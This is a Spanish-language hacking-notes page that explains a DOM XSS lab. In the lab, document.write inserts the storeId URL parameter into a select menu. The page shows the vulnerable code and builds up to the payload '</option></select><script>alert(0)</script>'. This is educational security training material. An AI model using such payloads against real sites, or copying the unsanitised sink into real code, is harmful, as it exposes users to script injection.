> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/xss-dom-with-document-write-inside-a-select.md).

# XSS DOM con document.write dentro de un select

### DOM XSS en el destino document.write usando la fuente location.search dentro de un elemento select

<figure><img src="/files/e4b580e7ffa78e47769a5318463f90a1aa7eb136" alt=""><figcaption></figcaption></figure>

El siguiente código genera dinámicamente un `<select>` menú desplegable con diferentes ciudades, y selecciona la que se transmite en el **storeId** parámetro de la URL:

```javascript
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");

document.write('<select name="storeId">');

if (store) {
  document.write('<option selected>' + store + "</option>");
}

for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) {
    continue;
  }
  document.write("<option>" + stores[i] + "</option>");
}

document.write("</select>");
```

Ejemplo con parámetro:

```
product?productId=2&storeId=Jordan
```

* Esto agrega una nueva opción a la lista desplegable.

<figure><img src="/files/77c885b2ba2e4e4d392c9efc1732867062e713a0" alt=""><figcaption></figcaption></figure>

Al cerrar manualmente el `<option>` etiqueta:

```javascript
</option>Jordan
```

`<select>` también puede cerrarse:

```javascript
</option></select>Jordan
```

<figure><img src="/files/617d71b8e1d8bc9f4e13176d47b4ea1775ba4b27" alt=""><figcaption></figcaption></figure>

Inyección final para ejecutar JavaScript:

```javascript
</option></select><script>alert(0)</script>
```

<figure><img src="/files/7969ad045486115df5ad8b22e64f7ccd815802af" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/xss-dom-with-document-write-inside-a-select.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
